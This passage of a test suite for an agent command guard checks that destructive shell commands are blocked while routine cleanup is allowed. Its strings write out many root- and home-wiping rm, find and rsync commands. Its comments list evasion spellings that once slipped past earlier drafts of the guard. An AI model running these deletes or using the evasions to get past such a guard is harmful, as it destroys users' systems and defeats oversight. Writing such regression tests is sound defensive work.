-
* reason, because `<target>/*` covered the fixture whether or not popd was handled.
|
|
450
|
-
*/
|
|
451
|
-
const fixtureRoot = mkdtempSync(join(tmpdir(), "hooks-fixtures-"));
|
|
452
|
-
afterAll(() => {
|
|
453
|
-
try { rmSync(fixtureRoot, { recursive: true, force: true }); } catch {}
|
|
454
|
-
});
|
|
455
|
-
// The incident machine's HOME. Pinned as an explicit fixture so the three mandated
|
|
456
|
-
// regression commands can appear verbatim rather than reconstructed from the runner's env.
|
|
457
|
-
const INCIDENT_HOME = "/home/hasna";
|
|
458
|
-
|
|
459
|
-
let scratchCwd: string;
|
|
460
|
-
let savedHome: string | undefined;
|
|
461
|
-
|
|
462
|
-
beforeAll(() => {
|
|
463
|
-
// A cwd outside any git repo and outside every protected root, so a verdict is
|
|
464
|
-
// attributable to the command under test rather than to where the suite happens to run.
|
|
465
|
-
scratchCwd = mkdtempSync(join(tmpdir(), "hooks-destructive-"));
|
|
466
|
-
savedHome = process.env.HOME;
|
|
467
|
-
});
|
|
468
|
-
|
|
469
|
-
afterAll(() => {
|
|
470
|
-
if (savedHome === undefined) delete process.env.HOME;
|
|
471
|
-
else process.env.HOME = savedHome;
|
|
472
|
-
try { rmSync(scratchCwd, { recursive: true, force: true }); } catch {}
|
|
473
|
-
});
|
|
474
|
-
|
|
475
|
-
async function classify(command: string, options: { home?: string; cwd?: string } = {}) {
|
|
476
|
-
process.env.HOME = options.home ?? INCIDENT_HOME;
|
|
477
|
-
return classifyDangerousOperation({
|
|
478
|
-
hook_event_name: "PreToolUse",
|
|
479
|
-
tool_name: "Bash",
|
|
480
|
-
cwd: options.cwd ?? scratchCwd,
|
|
481
|
-
tool_input: { command },
|
|
482
|
-
});
|
|
483
|
-
}
|
|
484
|
-
|
|
485
|
-
async function expectBlocked(command: string, options: { home?: string; cwd?: string } = {}) {
|
|
486
|
-
const result = await classify(command, options);
|
|
487
|
-
if (!result.block) throw new Error(`expected BLOCK, got continue for: ${command}`);
|
|
488
|
-
return result;
|
|
489
|
-
}
|
|
490
|
-
|
|
491
|
-
async function expectAllowed(command: string, options: { home?: string; cwd?: string } = {}) {
|
|
492
|
-
const result = await classify(command, options);
|
|
493
|
-
if (result.block) throw new Error(`expected continue, got BLOCK (${result.reason}) for: ${command}`);
|
|
494
|
-
return result;
|
|
495
|
-
}
|
|
496
|
-
|
|
497
|
-
// ---------------------------------------------------------------------------------------
|
|
498
|
-
// The three fixtures mandated by the incident remediation, verbatim.
|
|
499
|
-
// ---------------------------------------------------------------------------------------
|
|
500
|
-
|
|
501
|
-
test("control: rm -rf /home/hasna/.hasna still blocks (guard is wired up at all)", async () => {
|
|
502
|
-
const result = await expectBlocked("rm -rf /home/hasna/.hasna");
|
|
503
|
-
expect(result.protectedLabel).toBe("Hasna state root ~/.hasna");
|
|
504
|
-
expect(result.operation).toBe("rm -rf");
|
|
505
|
-
});
|
|
506
|
-
|
|
507
|
-
test("rm -rf /* blocks (was `continue` before this change)", async () => {
|
|
508
|
-
const result = await expectBlocked("rm -rf /*");
|
|
509
|
-
expect(result.protectedLabel).toBe("filesystem root /");
|
|
510
|
-
expect(result.reason).toContain("rm -rf");
|
|
511
|
-
});
|
|
512
|
-
|
|
513
|
-
test('rm -rf "$(bun pm cache)"/* blocks (was `continue` before this change)', async () => {
|
|
514
|
-
const result = await expectBlocked('rm -rf "$(bun pm cache)"/*');
|
|
515
|
-
expect(result.targetPath).toBe("/*");
|
|
516
|
-
expect(result.reason).toContain("collapses to /*");
|
|
517
|
-
// A refusal that does not tell the agent what to do instead just gets retried.
|
|
518
|
-
expect(result.reason).toContain("Safe alternative");
|
|
519
|
-
});
|
|
520
|
-
|
|
521
|
-
test("the realized incident command blocks", async () => {
|
|
522
|
-
await expectBlocked(
|
|
523
|
-
`bash -c 'rm -rf "$(bun pm cache)"/* ; bun add -g @hasna/connectors@1.3.45'`
|
|
524
|
-
);
|
|
525
|
-
});
|
|
526
|
-
|
|
527
|
-
// ---------------------------------------------------------------------------------------
|
|
528
|
-
// Rule 1 - system and filesystem roots.
|
|
529
|
-
// ---------------------------------------------------------------------------------------
|
|
530
|
-
|
|
531
|
-
test("recursive delete of the filesystem root blocks in bare and glob form", async () => {
|
|
532
|
-
for (const command of ["rm -rf /", "rm -rf /*", "rm -rf /.*", "rm -rf /**"]) {
|
|
533
|
-
const result = await expectBlocked(command);
|
|
534
|
-
expect(result.protectedLabel).toBe("filesystem root /");
|
|
535
|
-
}
|
|
536
|
-
});
|
|
537
|
-
|
|
538
|
-
test("recursive delete of every declared system root blocks, bare and wholesale-glob", async () => {
|
|
539
|
-
for (const root of SYSTEM_PROTECTED_ROOTS) {
|
|
540
|
-
if (root === "/") continue;
|
|
541
|
-
// The label is asserted, not just the verdict: /home (and /root, /Users on machines
|
|
542
|
-
// whose HOME sits under them) is also covered by the ~/.hasna tree rule, so a
|
|
543
|
-
// verdict-only assertion would still pass with that entry deleted from the list.
|
|
544
|
-
const bare = await expectBlocked(`rm -rf ${root}`);
|
|
545
|
-
expect(bare.protectedLabel).toBe(`system root ${root}`);
|
|
546
|
-
const glob = await expectBlocked(`rm -rf ${root}/*`);
|
|
547
|
-
expect(glob.protectedLabel).toBe(`system root ${root}`);
|
|
548
|
-
}
|
|
549
|
-
});
|
|
550
|
-
|
|
551
|
-
test("targeted deletes under a system root stay allowed", async () => {
|
|
552
|
-
await expectAllowed("rm -rf /usr/local/lib/my-abandoned-build");
|
|
553
|
-
await expectAllowed("rm -rf /var/log/my-app/old");
|
|
554
|
-
await expectAllowed("rm -rf /opt/my-app/cache/*");
|
|
555
|
-
// /tmp is deliberately not a protected root: scratch cleanup there is routine.
|
|
556
|
-
await expectAllowed("rm -rf /tmp/scratch-1234");
|
|
557
|
-
await expectAllowed("rm -rf /tmp/*");
|
|
558
|
-
});
|
|
559
|
-
|
|
560
|
-
test("a wholesale glob blocks where a narrower glob over the same directory does not", async () => {
|
|
561
|
-
const home = mkdtempSync(join(tmpdir(), "hooks-glob-home-"));
|
|
562
|
-
try {
|
|
563
|
-
// ~/.hasna lives under `home`, so `home/*` destroys it but `home/proj*` cannot.
|
|
564
|
-
await expectBlocked(`rm -rf ${home}/*`, { home });
|
|
565
|
-
await expectAllowed(`rm -rf ${home}/proj*`, { home });
|
|
566
|
-
await expectAllowed(`rm -rf ${home}/.cache`, { home });
|
|
567
|
-
} finally {
|
|
568
|
-
try { rmSync(home, { recursive: true, force: true }); } catch {}
|
|
569
|
-
}
|
|
570
|
-
});
|
|
571
|
-
|
|
572
|
-
// ---------------------------------------------------------------------------------------
|
|
573
|
-
// Rule 2 - expansions that can collapse to empty.
|
|
574
|
-
// ---------------------------------------------------------------------------------------
|
|
575
|
-
|
|
576
|
-
test("any expansion immediately followed by / blocks, whatever the expansion is", async () => {
|
|
577
|
-
const commands = [
|
|
578
|
-
'rm -rf "$(bun pm cache)"/*',
|
|
579
|
-
"rm -rf $(bun pm cache)/*",
|
|
580
|
-
"rm -rf `bun pm cache`/*",
|
|
581
|
-
'rm -rf "$(some-command-nobody-has-written-yet --json)"/*',
|
|
582
|
-
'rm -rf "${BUN_CACHE}"/*',
|
|
583
|
-
'rm -rf "$BUN_CACHE"/*',
|
|
584
|
-
'rm -rf "$1"/*',
|
|
585
|
-
'rm -rf "$(dirname "$(which bun)")"/*',
|
|
586
|
-
'rm -rf "$CACHE"/',
|
|
587
|
-
];
|
|
588
|
-
for (const command of commands) {
|
|
589
|
-
const result = await expectBlocked(command);
|
|
590
|
-
expect(result.reason).toContain("collapses to");
|
|
591
|
-
}
|
|
592
|
-
});
|
|
593
|
-
|
|
594
|
-
test('rm -rf "$HOME"/* blocks on the expanded path, before the collapse rule is needed', async () => {
|
|
595
|
-
// Two independent mechanisms cover this one: $HOME expands to a real home whose wholesale
|
|
596
|
-
// glob destroys ~/.hasna, and an empty $HOME would collapse the target to /*.
|
|
597
|
-
const result = await expectBlocked('rm -rf "$HOME"/*');
|
|
598
|
-
expect(result.protectedLabel).toBe("Hasna state root ~/.hasna");
|
|
599
|
-
expect(emptyExpansionCollapse("$HOME/*")).toBe("/*");
|
|
600
|
-
});
|
|
601
|
-
|
|
602
|
-
test("stderr redirection does not launder the shape - it discards the diagnostic, not the path", async () => {
|
|
603
|
-
await expectBlocked('rm -rf "$(bun pm cache 2>/dev/null)"/*');
|
|
604
|
-
});
|
|
605
|
-
|
|
606
|
-
test("an expansion collapsing onto a system root blocks even mid-path", async () => {
|
|
607
|
-
await expectBlocked('rm -rf "$SYSROOT"/usr');
|
|
608
|
-
await expectBlocked('rm -rf /opt/"$APP"/*');
|
|
609
|
-
});
|
|
610
|
-
|
|
611
|
-
test("rsync --delete and find -delete get the same collapse check as rm", async () => {
|
|
612
|
-
await expectBlocked('rsync -a --delete empty/ "$(build-dir)"/');
|
|
613
|
-
await expectBlocked('find "$(build-dir)"/ -delete');
|
|
614
|
-
});
|
|
615
|
-
|
|
616
|
-
/**
|
|
617
|
-
* Deliberate non-block. `rm -rf "$(cmd)"` with an empty expansion becomes `rm -rf ""`,
|
|
618
|
-
* which POSIX rm rejects ("cannot remove ''") with a non-zero exit and no deletion. The
|
|
619
|
-
* entire catastrophic class is the trailing separator, which turns the empty string into
|
|
620
|
-
* `/`. Blocking the bare form would break routine `rm -rf "$tmpdir"` cleanup for no gain.
|
|
621
|
-
*/
|
|
622
|
-
test("the bare expansion form without a trailing separator stays allowed, by decision", async () => {
|
|
623
|
-
await expectAllowed('rm -rf "$(mktemp -d)"');
|
|
624
|
-
await expectAllowed('rm -rf "$BUILD_DIR"');
|
|
625
|
-
expect(emptyExpansionCollapse('$(mktemp -d)')).toBeNull();
|
|
626
|
-
});
|
|
627
|
-
|
|
628
|
-
test("an expansion collapsing to a non-protected absolute path stays allowed", async () => {
|
|
629
|
-
await expectAllowed('rm -rf "$BUILD_DIR"/dist');
|
|
630
|
-
await expectAllowed('rm -rf "$HOME"/.cache/my-app');
|
|
631
|
-
expect(emptyExpansionCollapse('"$BUILD_DIR"/dist'.replaceAll('"', ""))).toBe("/dist");
|
|
632
|
-
});
|
|
633
|
-
|
|
634
|
-
// ---------------------------------------------------------------------------------------
|
|
635
|
-
// Evasion: the guard must not be defeated by spelling.
|
|
636
|
-
// ---------------------------------------------------------------------------------------
|
|
637
|
-
|
|
638
|
-
test("recursive-flag spellings, privilege prefixes and chaining do not evade the guard", async () => {
|
|
639
|
-
const commands = [
|
|
640
|
-
"rm -fr /*",
|
|
641
|
-
"rm -R -f /*",
|
|
642
|
-
"rm -Rf /*",
|
|
643
|
-
"rm --recursive --force /*",
|
|
644
|
-
"rm --force --recursive /*",
|
|
645
|
-
"rm -r /*",
|
|
646
|
-
"sudo rm -rf /*",
|
|
647
|
-
"doas rm -rf /*",
|
|
648
|
-
"FOO=bar BAZ=qux rm -rf /*",
|
|
649
|
-
"/bin/rm -rf /*",
|
|
650
|
-
"/usr/bin/rm -rf /*",
|
|
651
|
-
"rm -rf -- /*",
|
|
652
|
-
"true && rm -rf /*",
|
|
653
|
-
"false; rm -rf /*",
|
|
654
|
-
"echo starting\nrm -rf /*",
|
|
655
|
-
"cd / && rm -rf *",
|
|
656
|
-
"nice -n 19 rm -rf /*",
|
|
657
|
-
"env FOO=1 rm -rf /*",
|
|
658
|
-
];
|
|
659
|
-
for (const command of commands) await expectBlocked(command);
|
|
660
|
-
});
|
|
661
|
-
|
|
662
|
-
// ---------------------------------------------------------------------------------------
|
|
663
|
-
// Wrappers. The realized incident was inside `bash -c` inside `ssh`, so this is required.
|
|
664
|
-
// ---------------------------------------------------------------------------------------
|
|
665
|
-
|
|
666
|
-
test("interpreter wrappers are unwrapped and scanned", async () => {
|
|
667
|
-
const commands = [
|
|
668
|
-
`bash -c 'rm -rf /*'`,
|
|
669
|
-
`sh -c "rm -rf /*"`,
|
|
670
|
-
`zsh -c 'rm -rf /*'`,
|
|
671
|
-
`/bin/bash -c 'rm -rf /*'`,
|
|
672
|
-
`bash -lc 'rm -rf /*'`,
|
|
673
|
-
`bash -euxc 'rm -rf /*'`,
|
|
674
|
-
`sudo bash -c 'rm -rf /*'`,
|
|
675
|
-
`timeout 150 bash -c 'rm -rf "$(bun pm cache)"/*'`,
|
|
676
|
-
`bash -c 'cd /tmp && rm -rf /*'`,
|
|
677
|
-
];
|
|
678
|
-
for (const command of commands) await expectBlocked(command);
|
|
679
|
-
});
|
|
680
|
-
|
|
681
|
-
test("ssh remote commands are unwrapped and scanned, including nested interpreters", async () => {
|
|
682
|
-
const commands = [
|
|
683
|
-
`ssh station02 'rm -rf /*'`,
|
|
684
|
-
`ssh -o BatchMode=yes -p 22 station02 'rm -rf /etc'`,
|
|
685
|
-
`ssh -i /home/hasna/.ssh/id_ed25519 hasna@station02 'rm -rf /usr/*'`,
|
|
686
|
-
`ssh station02 bash -c 'rm -rf /*'`,
|
|
687
|
-
`timeout 150 ssh station02 'rm -rf "$(bun pm cache)"/* ; bun add -g @hasna/connectors@1.3.45'`,
|
|
688
|
-
];
|
|
689
|
-
for (const command of commands) {
|
|
690
|
-
const result = await expectBlocked(command);
|
|
691
|
-
expect(result.reason).toContain("on a remote host");
|
|
692
|
-
}
|
|
693
|
-
});
|
|
694
|
-
|
|
695
|
-
test("an unquoted ssh remote command still blocks, scanned as if it were local", async () => {
|
|
696
|
-
// `ssh host rm -rf /*` puts a bare `rm` token in the outer command, so the ordinary local
|
|
697
|
-
// scan catches it first. The verdict is the same; only the wording omits the remote host.
|
|
698
|
-
await expectBlocked(`ssh station02 rm -rf /*`);
|
|
699
|
-
});
|
|
700
|
-
|
|
701
|
-
test("a relative target on a remote host is not resolved against the local cwd", async () => {
|
|
702
|
-
// The remote `.` is not this machine's cwd, so guessing would be a false positive.
|
|
703
|
-
await expectAllowed(`ssh station02 'rm -rf dist'`);
|
|
704
|
-
await expectAllowed(`ssh station02 'rm -rf .'`);
|
|
705
|
-
await expectAllowed(`ssh station02 'ls -la /'`);
|
|
706
|
-
});
|
|
707
|
-
|
|
708
|
-
// ---------------------------------------------------------------------------------------
|
|
709
|
-
// False positives. A guard that blocks routine cleanup gets disabled, which is how this
|
|
710
|
-
// class of incident recurs.
|
|
711
|
-
// ---------------------------------------------------------------------------------------
|
|
712
|
-
|
|
713
|
-
test("routine cleanup stays allowed", async () => {
|
|
714
|
-
const commands = [
|
|
715
|
-
"rm -rf dist",
|
|
716
|
-
"rm -rf ./node_modules",
|
|
717
|
-
"rm -rf dist .turbo build",
|
|
718
|
-
"rm -rf ./dist/*",
|
|
719
|
-
"rm -f /home/hasna/some-file.txt",
|
|
720
|
-
"ls -la /",
|
|
721
|
-
"du -sh /*",
|
|
722
|
-
"git status",
|
|
723
|
-
"find . -name '*.log' -print",
|
|
724
|
-
"bun pm cache",
|
|
725
|
-
];
|
|
726
|
-
for (const command of commands) await expectAllowed(command);
|
|
727
|
-
});
|
|
728
|
-
|
|
729
|
-
test("an unterminated substitution falls back to the plain tokenizer instead of swallowing the rest", async () => {
|
|
730
|
-
await expectBlocked("echo $( ; rm -rf /*");
|
|
731
|
-
await expectBlocked("echo ` ; rm -rf /*");
|
|
732
|
-
});
|
|
733
|
-
|
|
734
|
-
// ---------------------------------------------------------------------------------------
|
|
735
|
-
// Adversarial pass. Each of these got a root wipe past an earlier draft of this guard.
|
|
736
|
-
// ---------------------------------------------------------------------------------------
|
|
737
|
-
|
|
738
|
-
test("quoting tricks that still resolve to the filesystem root are blocked", async () => {
|
|
739
|
-
for (const command of [
|
|
740
|
-
`rm -rf "/"*`,
|
|
741
|
-
`rm -rf /"*"`,
|
|
742
|
-
`rm -rf ''/*`,
|
|
743
|
-
`rm -rf /./*`,
|
|
744
|
-
`rm -rf /*/`,
|
|
745
|
-
`rm -rf //*`,
|
|
746
|
-
`rm -rf /home/hasna/../..`,
|
|
747
|
-
`rm -rf ~/../*`,
|
|
748
|
-
`rm -rf "$HOME/.."/*`,
|
|
749
|
-
`rm -rf "$(bun pm cache)"/../*`,
|
|
750
|
-
`rm -rf "$(bun pm cache)"//*`,
|
|
751
|
-
]) {
|
|
752
|
-
await expectBlocked(command);
|
|
753
|
-
}
|
|
754
|
-
});
|
|
755
|
-
|
|
756
|
-
test("cd moves the guard with it", async () => {
|
|
757
|
-
await expectBlocked("cd / ; rm -rf *");
|
|
758
|
-
await expectBlocked("cd /usr && rm -rf *");
|
|
759
|
-
await expectBlocked(`sh -c 'cd / && rm -rf *'`);
|
|
760
|
-
await expectBlocked(`ssh station02 "cd / && rm -rf *"`);
|
|
761
|
-
// The incident shape moved one command to the left: an empty substitution leaves cd at /.
|
|
762
|
-
await expectBlocked(`cd "$(bun pm cache)"/ && rm -rf ./*`);
|
|
763
|
-
await expectBlocked(`bash -c 'cd "$(bun pm cache)"/ && rm -rf ./*'`);
|
|
764
|
-
});
|
|
765
|
-
|
|
766
|
-
test("cd into a resolved directory then clearing it stays allowed", async () => {
|
|
767
|
-
// No trailing separator, so an empty substitution leaves cwd untouched rather than at /.
|
|
768
|
-
await expectAllowed(`bash -c 'cd "$(bun pm cache)" && rm -rf ./*'`);
|
|
769
|
-
await expectAllowed(`cd "$HOME/.cache/my-app" && rm -rf ./*`);
|
|
770
|
-
await expectAllowed("cd /tmp && rm -rf my-scratch-dir");
|
|
771
|
-
});
|
|
772
|
-
|
|
773
|
-
test("eval and user-switch wrappers are unwrapped", async () => {
|
|
774
|
-
await expectBlocked(`eval 'rm -rf /*'`);
|
|
775
|
-
await expectBlocked(`su -c 'rm -rf /*'`);
|
|
776
|
-
await expectBlocked(`su root -c 'rm -rf /*'`);
|
|
777
|
-
await expectBlocked(`runuser -u hasna -c 'rm -rf /*'`);
|
|
778
|
-
});
|
|
779
|
-
|
|
780
|
-
test("a for-loop over a root glob is blocked even though the delete target is just $d", async () => {
|
|
781
|
-
await expectBlocked(`for d in /*; do rm -rf "$d"; done`);
|
|
782
|
-
await expectBlocked(`for p in /usr/* /etc/*; do rm -rf "$p"; done`);
|
|
783
|
-
// The binding must actually be a root glob; ordinary loops stay allowed.
|
|
784
|
-
await expectAllowed(`for d in ./build/*; do rm -rf "$d"; done`);
|
|
785
|
-
});
|
|
786
|
-
|
|
787
|
-
test('${VAR:?} is honoured as the non-empty assertion it is', async () => {
|
|
788
|
-
// POSIX `:?` aborts on unset *or* empty, so this cannot collapse. Blocking the idiom the
|
|
789
|
-
// guard's own message recommends would teach agents to drop it.
|
|
790
|
-
await expectAllowed('rm -rf "${CACHE:?cache path required}"/*');
|
|
791
|
-
await expectAllowed('rm -rf "${BUN_CACHE:?}"/*');
|
|
792
|
-
expect(emptyExpansionCollapse("${BUN_CACHE:?}/*")).toBeNull();
|
|
793
|
-
// `${VAR?}` without the colon permits an empty value, which is the whole hazard.
|
|
794
|
-
expect(emptyExpansionCollapse("${BUN_CACHE?}/*")).toBe("/*");
|
|
795
|
-
});
|
|
796
|
-
|
|
797
|
-
test("privilege and scheduling prefixes do not hide the delete", async () => {
|
|
798
|
-
for (const command of [
|
|
799
|
-
String.raw`\rm -rf /*`,
|
|
800
|
-
`'rm' -rf /*`,
|
|
801
|
-
"command rm -rf /*",
|
|
802
|
-
"nohup rm -rf /* &",
|
|
803
|
-
"setsid rm -rf /*",
|
|
804
|
-
]) {
|
|
805
|
-
await expectBlocked(command);
|
|
806
|
-
}
|
|
807
|
-
});
|
|
808
|
-
|
|
809
|
-
test("non-rm destructive tools targeting the root are blocked", async () => {
|
|
810
|
-
await expectBlocked("find / -delete");
|
|
811
|
-
await expectBlocked("find / -exec rm -rf {} \\;");
|
|
812
|
-
await expectBlocked("rsync -a --delete /var/empty/ /");
|
|
813
|
-
});
|
|
814
|
-
|
|
815
|
-
// -------------------------------------------------------------------------------------
|
|
816
|
-
// Adversarial review round 2. Each of these got a full wipe past the first draft of this
|
|
817
|
-
// change, and the first two were REGRESSIONS it introduced against the previous release.
|
|
818
|
-
// -------------------------------------------------------------------------------------
|
|
819
|
-
|
|
820
|
-
test("a delete inside a command substitution is still a delete", async () => {
|
|
821
|
-
// Regression guard. Making $( ) atomic for the collapse rule removed the accidental
|
|
822
|
-
// coverage the old segment splitter gave, so `echo $(rm -rf /)` became invisible: the
|
|
823
|
-
// delete runs and only its OUTPUT is discarded.
|
|
824
|
-
for (const command of [
|
|
825
|
-
"echo $(rm -rf /home/hasna/.hasna)",
|
|
826
|
-
"x=$(rm -rf /home/hasna/.hasna)",
|
|
827
|
-
"$(rm -rf /home/hasna/.hasna)",
|
|
828
|
-
"$(rm -rf /*)",
|
|
829
|
-
"x=$(rm -rf /*)",
|
|
830
|
-
'echo "$(cd / && rm -rf *)"',
|
|
831
|
-
"echo `rm -rf /*`",
|
|
832
|
-
'files=$(rm -rf "$(bun pm cache)"/*)',
|
|
833
|
-
]) {
|
|
834
|
-
await expectBlocked(command);
|
|
835
|
-
}
|
|
836
|
-
});
|
|
837
|
-
|
|
838
|
-
test("a glob anywhere in the path counts, not only in the last component", async () => {
|
|
839
|
-
// `rm -rf /*/*` destroys /usr/*, /etc/*, /home/* - the incident's outcome, respelled.
|
|
840
|
-
for (const command of [
|
|
841
|
-
"rm -rf /*/*",
|
|
842
|
-
"rm -rf /*/*/*",
|
|
843
|
-
"rm -rf /**/*",
|
|
844
|
-
"rm -rf /home/*/*",
|
|
845
|
-
"rm -rf ~/*/*",
|
|
846
|
-
"rm -rf /home/*/.hasna",
|
|
847
|
-
"rm -rf /*/bin",
|
|
848
|
-
"find /*/x -delete",
|
|
849
|
-
]) {
|
|
850
|
-
await expectBlocked(command);
|
|
851
|
-
}
|
|
852
|
-
});
|
|
853
|
-
|
|
854
|
-
test("a bounded glob earlier in the path still does not over-block", async () => {
|
|
855
|
-
const home = mkdtempSync(join(tmpdir(), "hooks-midglob-"));
|
|
856
|
-
try {
|
|
857
|
-
await expectAllowed(`rm -rf ${home}/proj*/dist`, { home });
|
|
858
|
-
await expectAllowed("rm -rf /var/log/*.gz", { home });
|
|
859
|
-
await expectAllowed("rm -rf /etc/nginx/sites-enabled/*", { home });
|
|
860
|
-
await expectAllowed("rm -rf /var/lib/docker/*", { home });
|
|
861
|
-
} finally {
|
|
862
|
-
try { rmSync(home, { recursive: true, force: true }); } catch {}
|
|
863
|
-
}
|
|
864
|
-
});
|
|
865
|
-
|
|
866
|
-
test("brace alternations are expanded", async () => {
|
|
867
|
-
await expectBlocked("rm -rf /{bin,boot,etc,home,lib,opt,root,srv,usr,var}");
|
|
868
|
-
await expectBlocked("rm -rf /{,usr,etc}");
|
|
869
|
-
await expectBlocked("rm -rf ~/{.hasna,Downloads}");
|
|
870
|
-
await expectAllowed("rm -rf ./{dist,build}");
|
|
871
|
-
});
|
|
872
|
-
|
|
873
|
-
test("exceeding the brace cap falls back conservatively rather than becoming a bypass", async () => {
|
|
874
|
-
// Abandoning expansion by returning the raw token was itself a hole: the unexpanded
|
|
875
|
-
// token resolved to a literal path matching no protected root.
|
|
876
|
-
const many = Array.from({ length: 70 }, (_, i) => `a${i}`).join(",");
|
|
877
|
-
await expectBlocked(`rm -rf /{${many},etc}`);
|
|
878
|
-
await expectBlocked(`rm -rf ~/{${many}}`);
|
|
879
|
-
// Ordinary alternations under the cap keep expanding normally.
|
|
880
|
-
await expectAllowed("rm -rf ./{dist,build}");
|
|
881
|
-
await expectAllowed("rm -rf /tmp/{a,b,c}");
|
|
882
|
-
});
|
|
883
|
-
|
|
884
|
-
test("a command too nested to analyse is refused, not waved through", async () => {
|
|
885
|
-
// Padding with dummy wrappers pushed the real delete past MAX_SHELL_LAYERS and it
|
|
886
|
-
// returned continue. Every cap in this file must fail closed: "too complex to analyse"
|
|
887
|
-
// must never mean "allowed".
|
|
888
|
-
const pad = (n: number) => Array.from({ length: n }, (_, i) => `sh -c 'a${i}'`).join(" ; ");
|
|
889
|
-
await expectBlocked(`${pad(32)} ; sh -c 'rm -rf /*'`);
|
|
890
|
-
await expectBlocked(`${pad(40)} ; sh -c 'rm -rf /*'`);
|
|
891
|
-
// Deep wrapper nesting, built programmatically so the escaping is not hand-maintained.
|
|
892
|
-
const nest = (inner: string, depth: number) => {
|
|
893
|
-
let out = inner;
|
|
894
|
-
for (let i = 0; i < depth; i += 1) out = `sh -c ${JSON.stringify(out)}`;
|
|
895
|
-
return out;
|
|
896
|
-
};
|
|
897
|
-
for (const depth of [2, 3, 4, 5]) await expectBlocked(nest("rm -rf /*", depth));
|
|
898
|
-
// Refusal is scoped to commands that actually contain a destructive verb.
|
|
899
|
-
await expectAllowed(pad(40));
|
|
900
|
-
await expectAllowed(nest("rm -rf dist", 2));
|
|
901
|
-
});
|
|
902
|
-
|
|
903
|
-
// -------------------------------------------------------------------------------------
|
|
904
|
-
// Adversarial review round 3. A fixed corpus, kept together deliberately: every entry here
|
|
905
|
-
// was a live escape or false positive at some commit ON THIS BRANCH, several of them
|
|
906
|
-
// introduced by the fix for the entry above it. Replay the whole block, never a subset.
|
|
907
|
-
// -------------------------------------------------------------------------------------
|
|
908
|
-
|
|
909
|
-
test("a cd inside a subshell still guards the rest of that subshell", async () => {
|
|
910
|
-
// Regression from the first isolation fix: `isolated` was read as "this cd never
|
|
911
|
-
// applies", but it only means "does not escape to the parent". `(cd X && rm -rf *)` is
|
|
912
|
-
// THE idiom for cd-without-moving-my-shell, and it was completely unguarded.
|
|
913
|
-
for (const command of [
|
|
914
|
-
"(cd / && rm -rf *)",
|
|
915
|
-
"(cd /usr && rm -rf *)",
|
|
916
|
-
"(cd /home/hasna && rm -rf .hasna)",
|
|
917
|
-
`(cd "$(bun pm cache)"/ && rm -rf ./*)`,
|
|
918
|
-
`bash -c '(cd / && rm -rf *)'`,
|
|
919
|
-
"echo x | (cd / && rm -rf *)",
|
|
920
|
-
]) {
|
|
921
|
-
await expectBlocked(command);
|
|
922
|
-
}
|
|
923
|
-
// ...while a cd that genuinely cannot reach the delete is still ignored.
|
|
924
|
-
await expectBlocked("cd /var/tmp | cat; rm -rf *", { cwd: "/home/hasna/.hasna/projects" });
|
|
925
|
-
});
|
|
926
|
-
|
|
927
|
-
test("cd flag forms and brace groups are followed", async () => {
|
|
928
|
-
for (const command of [
|
|
929
|
-
"cd -P / && rm -rf *",
|
|
930
|
-
"cd -L / && rm -rf *",
|
|
931
|
-
"cd -- / && rm -rf *",
|
|
932
|
-
"{ cd /; }; rm -rf *",
|
|
933
|
-
"pushd / && rm -rf *",
|
|
934
|
-
]) {
|
|
935
|
-
await expectBlocked(command);
|
|
936
|
-
}
|
|
937
|
-
});
|
|
938
|
-
|
|
939
|
-
test("a non-empty assignment only counts where the shell would actually apply it", async () => {
|
|
940
|
-
for (const command of [
|
|
941
|
-
// bash expands $X BEFORE applying a prefix assignment, so $X is still empty.
|
|
942
|
-
`X=/tmp/build rm -rf "$X"/*`,
|
|
943
|
-
`X=/tmp/build; X=$(bun pm cache); rm -rf "$X"/*`,
|
|
944
|
-
`rm -rf "$X"/* ; X=/tmp/build`,
|
|
945
|
-
`X=/tmp/build; X=; rm -rf "$X"/*`,
|
|
946
|
-
`(X=/tmp/build); rm -rf "$X"/*`,
|
|
947
|
-
`X=/tmp/build | cat; rm -rf "$X"/*`,
|
|
948
|
-
`PWD=$(bun pm cache); rm -rf "$PWD"/*`,
|
|
949
|
-
`PWD=; rm -rf "$PWD"/*`,
|
|
950
|
-
// The default IS the worst case, so it is substituted verbatim rather than assumed safe.
|
|
951
|
-
`rm -rf "\${A:-/}"/*`,
|
|
952
|
-
]) {
|
|
953
|
-
await expectBlocked(command);
|
|
954
|
-
}
|
|
955
|
-
// The genuine guarantees still hold.
|
|
956
|
-
await expectAllowed(`X=/tmp/build; rm -rf "$X"/*`);
|
|
957
|
-
await expectAllowed(`rm -rf "\${BUILD_DIR:-/tmp/build}"/*`);
|
|
958
|
-
});
|
|
959
|
-
|
|
960
|
-
test("a delete nested inside a parameter expansion is still a delete", async () => {
|
|
961
|
-
await expectBlocked(`echo "\${x:-$(rm -rf /*)}"`);
|
|
962
|
-
await expectBlocked("echo \"\${x:-`rm -rf /*`}\"");
|
|
963
|
-
});
|
|
964
|
-
|
|
965
|
-
test("brace fallback covers absolute alternatives, and ${} does not abandon expansion", async () => {
|
|
966
|
-
const many = Array.from({ length: 70 }, (_, i) => `a${i}`).join(",");
|
|
967
|
-
// An absolute alternative is not a child of the brace-free prefix.
|
|
968
|
-
await expectBlocked(`rm -rf {/etc,${many}}`);
|
|
969
|
-
await expectBlocked(`rm -rf {/,${many}}`);
|
|
970
|
-
// A ${...} before the group is not a brace group; treating it as one abandoned the token.
|
|
971
|
-
await expectBlocked(`rm -rf "\${HOME}"/{,.hasna}`);
|
|
972
|
-
await expectBlocked(`rm -rf "\${HOME}"/{bin,.hasna}`);
|
|
973
|
-
});
|
|
974
|
-
|
|
975
|
-
test("an escaped character inside a substitution is data, not structure", async () => {
|
|
976
|
-
// Same root cause as the quoted-paren bug: quotes were fixed, backslashes were not.
|
|
977
|
-
await expectBlocked(`rm -rf "$(echo \\')"/*`);
|
|
978
|
-
await expectBlocked(`rm -rf "$(grep -c \\( f)"/*`);
|
|
979
|
-
});
|
|
980
|
-
|
|
981
|
-
test("a catch-all in the first component sweeps the filesystem root", async () => {
|
|
982
|
-
for (const command of ["rm -rf /*/bin", "rm -rf /*/*", "find /*/x -delete"]) {
|
|
983
|
-
await expectBlocked(command);
|
|
984
|
-
}
|
|
985
|
-
});
|
|
986
|
-
|
|
987
|
-
test("everyday monorepo and ops cleanup is not blocked", async () => {
|
|
988
|
-
// A guard that blocks `rm -rf */node_modules` at a monorepo root gets switched off, and
|
|
989
|
-
// then it protects nothing at all. Matching on "the first glob's parent" caused exactly
|
|
990
|
-
// that: the trailing literal bounds the delete, so the repo root is never destroyed.
|
|
991
|
-
